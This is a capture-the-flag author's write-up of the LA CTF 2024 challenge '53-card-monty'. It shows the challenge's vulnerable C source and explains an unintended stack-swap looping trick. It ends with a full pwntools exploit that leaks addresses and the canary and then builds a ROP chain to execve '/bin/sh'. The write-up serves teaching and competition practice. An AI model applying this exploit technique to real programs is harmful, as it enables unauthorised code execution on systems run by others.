Introduction

53-card-monty is a challenge that I wrote for LA CTF 2024, based on an unintended solution to bliutech’s 52-card-monty challenge. Here’s the code for 52-card-monty:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#define DECK_SIZE 0x52
#define QUEEN 1111111111

void setup() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);

  srand(time(NULL));
}

void win() {
  char flag[256];

  FILE *flagfile = fopen("flag.txt", "r");

  if (flagfile == NULL) {
    puts("Cannot read flag.txt.");
  } else {
    fgets(flag, 256, flagfile);
    flag[strcspn(flag, "\n")] = '\0';
    puts(flag);
  }
}

long lrand() {
  long higher, lower;
  higher = (((long)rand()) << 32);
  lower = (long)rand();
  return higher + lower;
}

void game() {
  int index;
  long leak;
  long cards[52] = {0};
  char name[20];

  for (int i = 0; i < 52; ++i) {
    cards[i] = lrand();
  }

  index = rand() % 52;
  cards[index] = QUEEN;

  printf("==============================\n");

  printf("index of your first peek? ");
  scanf("%d", &index);
  leak = cards[index % DECK_SIZE];
  cards[index % DECK_SIZE] = cards[0];
  cards[0] = leak;
  printf("Peek 1: %lu\n", cards[0]);

  printf("==============================\n");

  printf("index of your second peek? ");
  scanf("%d", &index);
  leak = cards[index % DECK_SIZE];
  cards[index % DECK_SIZE] = cards[0];
  cards[0] = leak;
  printf("Peek 2: %lu\n", cards[0]);

  printf("==============================\n");

  printf("Show me the lady! ");
  scanf("%d", &index);

  printf("==============================\n");

  if (cards[index] == QUEEN) {
    printf("You win!\n");
  } else {
    printf("Just missed. Try again.\n");
  }

  printf("==============================\n");

  printf("Add your name to the leaderboard.\n");
  getchar();
  printf("Name: ");
  fgets(name, 52, stdin);

  printf("==============================\n");

  printf("Thanks for playing, %s!\n", name);
}

int main() {
  setup();
  printf("Welcome to 52-card monty!\n");
  printf("The rules of the game are simple. You are trying to guess which card "
         "is correct. You get two peeks. Show me the lady!\n");
  game();
  return 0;
}

The binary is compiled with stack canaries and PIE. To solve the original challenge, we first leak the canary and PIE base address using the out-of-bounds read in the two peeks, then overwrite the return address with the win function address using the buffer overflow at the fgets call.

Unintended vulnerability

I realized that index % DECK_SIZE can be negative, which would allow us to swap a return address from a previous call into the return address of game, causing the function to loop back when it returns and leaking the address at the same time. This made me think that it might be possible to solve this challenge even if the fgets call is changed so that it doesn’t overflow the buffer.

I tried doing this and it worked, but I wasn’t sure what to do next. After the function loops back, it would execute with main’s stack frame since the prologue was skipped, and I had hoped that this would allow the fgets call to overwrite its own return address since rsp and rbp are closer together than normal. However, it turns out rsp being equal to rbp in main’s stack frame actually makes it impossible for fgets to overwrite its return address regardless of how big the buffer is. This is because the buffer has to end at least eight bytes before rbp since the canary is right before the saved rbp, and the return address of fgets would be in those eight bytes.

The funny loop

Later, I came up with the idea of overwriting the return address of main instead so that game executes with the stack frame of __libc_start_call_main, and I thought that this might allow fgets to overwrite its return address. The Debian libc that I was using did not have frame pointers, so I switched to using a libc from Fedora. I found out that with the Fedora libc, rsp and rbp are too far apart in __libc_start_call_main’s stack frame, but then something interesting happend: When game returns again after looping back, the program somehow starts executing from the beginning again. I later figured out that this is due to a coincidence with how the code of __libc_start_main (named __libc_start_main_impl in Fedora) is arranged. Here’s the relevant code in __libc_start_main_impl:

   0x00007ffff7e071d6 <+86>:	test   r14,r14
   0x00007ffff7e071d9 <+89>:	je     0x7ffff7e0720b <__libc_start_main_impl+139>
   0x00007ffff7e071db <+91>:	mov    rsi,rbx
   0x00007ffff7e071de <+94>:	mov    edi,r12d
   0x00007ffff7e071e1 <+97>:	call   r14
   0x00007ffff7e071e4 <+100>:	mov    r14,QWORD PTR [rip+0x1afdb5]        # 0x7ffff7fb6fa0
   0x00007ffff7e071eb <+107>:	mov    rdi,QWORD PTR [r14]
   0x00007ffff7e071ee <+110>:	call   0x7ffff7e057b0 <_dl_audit_preinit@plt>
   0x00007ffff7e071f3 <+115>:	test   r13d,r13d
   0x00007ffff7e071f6 <+118>:	jne    0x7ffff7e07295 <__libc_start_main_impl+277>
   0x00007ffff7e071fc <+124>:	mov    rdi,QWORD PTR [rbp-0x38]
   0x00007ffff7e07200 <+128>:	mov    rdx,rbx
   0x00007ffff7e07203 <+131>:	mov    esi,r12d
   0x00007ffff7e07206 <+134>:	call   0x7ffff7e070d0 <__libc_start_call_main>
   0x00007ffff7e0720b <+139>:	mov    r14,QWORD PTR [rip+0x1afd8e]        # 0x7ffff7fb6fa0
   0x00007ffff7e07212 <+146>:	mov    r15,QWORD PTR [r14]
   0x00007ffff7e07215 <+149>:	mov    rax,QWORD PTR [r15+0xa0]
   0x00007ffff7e0721c <+156>:	test   rax,rax
   0x00007ffff7e0721f <+159>:	je     0x7ffff7e07238 <__libc_start_main_impl+184>
   0x00007ffff7e07221 <+161>:	mov    QWORD PTR [rbp-0x40],rdx
   0x00007ffff7e07225 <+165>:	mov    rax,QWORD PTR [rax+0x8]
   0x00007ffff7e07229 <+169>:	mov    rsi,rbx
   0x00007ffff7e0722c <+172>:	mov    edi,r12d
   0x00007ffff7e0722f <+175>:	add    rax,QWORD PTR [r15]
   0x00007ffff7e07232 <+178>:	call   rax
   0x00007ffff7e07234 <+180>:	mov    rdx,QWORD PTR [rbp-0x40]
   0x00007ffff7e07238 <+184>:	mov    rsi,QWORD PTR [r15+0x108]
   0x00007ffff7e0723f <+191>:	test   rsi,rsi
   0x00007ffff7e07242 <+194>:	je     0x7ffff7e071eb <__libc_start_main_impl+107>
   0x00007ffff7e07244 <+196>:	mov    rax,QWORD PTR [r15+0x118]
   0x00007ffff7e0724b <+203>:	mov    rcx,QWORD PTR [r15]
   0x00007ffff7e0724e <+206>:	add    rcx,QWORD PTR [rsi+0x8]
   0x00007ffff7e07252 <+210>:	mov    rax,QWORD PTR [rax+0x8]
   0x00007ffff7e07256 <+214>:	shr    rax,0x3
   0x00007ffff7e0725a <+218>:	test   eax,eax
   0x00007ffff7e0725c <+220>:	je     0x7ffff7e071eb <__libc_start_main_impl+107>

__libc_start_call_main is marked _Noreturn, and for some reason the compiler decided to place some code that would normally be executed before the call to __libc_start_call_main after the instruction that does that call. Normal execution would jump from offset +89 to +139, then it would jump from +194 back to +107 before calling __libc_start_call_main. When game returns with the stack frame of __libc_start_call_main, the effect is as if __libc_start_call_main returned. Execution would reach the backwards jump and loop back, then __libc_start_call_main gets called again, resulting in the program starting from the beginning.

I called this the funny loop, since it was kind of funny. It allows us to leak more values and it works multiple times, although my final solve script only does it once. We can first leak the PIE base address, the canary, and the stack address, then make fgets overwrite its own saved rbp to point between a forged canary and the win function address that we put in the buffer. When game returns, the canary check will pass because of the forged canary and it will return to the win function. I realized that it might be possible to solve this without using the funny loop by partially overwriting the saved rbp instead of leaking the stack address, so at enzocut’s suggestion I removed the win function to force people to leak libc.

Popping a shell

I looked at the one gadgets in the libc and found that none of them have their conditions already satisfied when game returns with the overwritten rbp, so we need a ROP gadget. I decided to use this one gadget:

0xde6a2 execve("/bin/sh", rbp-0x40, r12)
constraints:
  address rbp-0x38 is writable
  rdi == NULL || {"/bin/sh", rdi, NULL} is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

And I cleared rdi with this gadget in libc:

0x000000000c5295: xor edi, edi; mov eax, edi; ret; 

For the rbp and r12 constraints, I noticed that both of these registers get set to the value that the overwritten rbp points to. This is because rbp gets overwritten by the leave instruction at the end of game and the saved r12 of fgets happens to be at the same address. To satisfy both constraints, I used a stack pointer that pointed to NULL. I changed the buffer size a bit to make this work out. Here’s the final source code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#define DECK_SIZE 0x52
#define QUEEN 1111111111

void setup() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);

  srand(time(NULL));
}

long lrand() {
  long higher, lower;
  higher = (((long)rand()) << 32);
  lower = (long)rand();
  return higher + lower;
}

void game() {
  int index;
  long leak;
  long cards[52] = {0};
  char name[40];

  for (int i = 0; i < 52; ++i) {
    cards[i] = lrand();
  }

  index = rand() % 52;
  cards[index] = QUEEN;

  printf("==============================\n");

  printf("index of your first peek? ");
  scanf("%d", &index);
  leak = cards[index % DECK_SIZE];
  cards[index % DECK_SIZE] = cards[0];
  cards[0] = leak;
  printf("Peek 1: %lu\n", cards[0]);

  printf("==============================\n");

  printf("index of your second peek? ");
  scanf("%d", &index);
  leak = cards[index % DECK_SIZE];
  cards[index % DECK_SIZE] = cards[0];
  cards[0] = leak;
  printf("Peek 2: %lu\n", cards[0]);

  printf("==============================\n");

  printf("Show me the lady! ");
  scanf("%d", &index);

  printf("==============================\n");

  if (cards[index] == QUEEN) {
    printf("You win!\n");
  } else {
    printf("Just missed. Try again.\n");
  }

  printf("==============================\n");

  printf("Add your name to the leaderboard.\n");
  getchar();
  printf("Name: ");
  fgets(name, 40, stdin);

  printf("==============================\n");

  printf("Thanks for playing, %s!\n", name);
}

int main() {
  setup();
  printf("Welcome to 52-card monty!\n");
  printf("The rules of the game are simple. You are trying to guess which card "
         "is correct. You get two peeks. Show me the lady!\n");
  game();
  return 0;
}

And here’s my solve script:

#!/usr/bin/env python3

from pwn import *

exe = ELF("./monty_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe

if args.REMOTE:
    r = remote("chall.lac.tf", 31133)
else:
    r = process([exe.path])
    if args.GDB:
        gdb.attach(r)

# Swap leftover return address into cards[0] and leak it
r.sendlineafter(b'peek?', b'-3')
r.recvuntil(b'1: ')
exe.address = int(r.recvline(keepends=False)) - 0x1333
log.info(f"{hex(exe.address)=}")
# Swap cards[0] into return address of main and leak the return address of main
r.sendlineafter(b'peek?', b'61')
r.recvuntil(b'2: ')
libc.address = int(r.recvline(keepends=False)) - 0x2814a
log.info(f"{hex(libc.address)=}")
r.sendlineafter(b'lady! ', b'0')
r.sendlineafter(b'Name: ', b'')

# Execution loops back to the middle of the game function because the return address of main
# Leak canary
r.sendlineafter(b'peek?', b'15')
r.recvuntil(b'2: ')
canary = int(r.recvline(keepends=False))
log.info(f"{hex(canary)=}")
r.sendlineafter(b'lady! ', b'0')
r.sendlineafter(b'Name: ', b'')

# Program starts from the beginning again due to the funny loop
# Swap leftover return address into return address of game
r.sendlineafter(b'peek?', b'-3')
r.sendlineafter(b'peek?', b'59')
r.sendlineafter(b'lady! ', b'0')
r.sendlineafter(b'Name: ', b'')

# Leak stack
r.sendlineafter(b'peek?', b'0')
r.recvuntil(b'2: ')
stack = int(r.recvline(keepends=False))
log.info(f"{hex(stack)=}")
r.sendlineafter(b'lady! ', b'0')
# Forged canary
pl = p64(canary)
# Set r12 and rbp to stack pointer that points to null
pl += p64(stack + 0x1d0)
# Gadget to clear rdi
pl += p64(libc.address + 0xc5295)
# One gadget
pl += p64(libc.address + 0xde6a2)
# Overwrite saved rbp to point to the buffer
pl += p64(stack + 0x100)
r.sendafter(b'Name: ', pl)

r.interactive()

Conclusion

I’m really amazed by the fact that such a cool solution is possible since it relys on multiple unintended behaviors that just happen to work out. If you solved this challenge in a different way, I would love to hear about it. I hope you enjoyed LA CTF 2024 and learned something new!